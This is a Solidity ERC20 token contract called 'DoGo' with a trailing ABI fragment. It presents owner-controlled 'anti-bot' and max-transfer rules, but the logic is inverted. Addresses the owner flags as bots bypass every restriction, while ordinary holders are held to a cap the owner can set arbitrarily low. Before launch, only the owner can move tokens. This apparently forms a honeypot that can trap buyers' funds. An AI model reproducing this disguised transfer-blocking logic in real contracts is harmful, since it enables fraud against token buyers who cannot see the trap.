pragma solidity ^0.8.4;




contract DoGo is 
ERC20, Ownable {
    uint256 public maxAmount;
    bool public isMaxAmount;
    bool private isAntiBot;
    address public uniswapV2Pair;
    mapping(address => bool) public bots;

    constructor(uint256 _totalSupply) ERC20("DoGo", "DGO") {
        _mint(msg.sender, _totalSupply);
    }

    function antiBot(address _account, bool _state) external onlyOwner {
        bots[_account] = _state;
    }

   

    function setRule(address _uniswapV2Pair, uint256 _maxAmount, bool _isMaxAmount, bool _isAntiBot) external onlyOwner {
        isMaxAmount = _isMaxAmount;
        maxAmount = _maxAmount;
        isAntiBot = _isAntiBot;
        uniswapV2Pair = _uniswapV2Pair;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) override internal virtual {

        if (uniswapV2Pair == address(0)) {
            require(from == owner() || to == owner(), "trading is not started");
            return;
        }

        if (isAntiBot && (bots[from] == true)) {
            return;
        }

        if (isMaxAmount && isAntiBot && (bots[from] == false)) {
            require(amount <= maxAmount, "Max amount");
        }

    }

    function burn(uint256 value) external {
        _burn(msg.sender, value);
    }
}
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address"}],"stateMutability":"view","type":"function"}]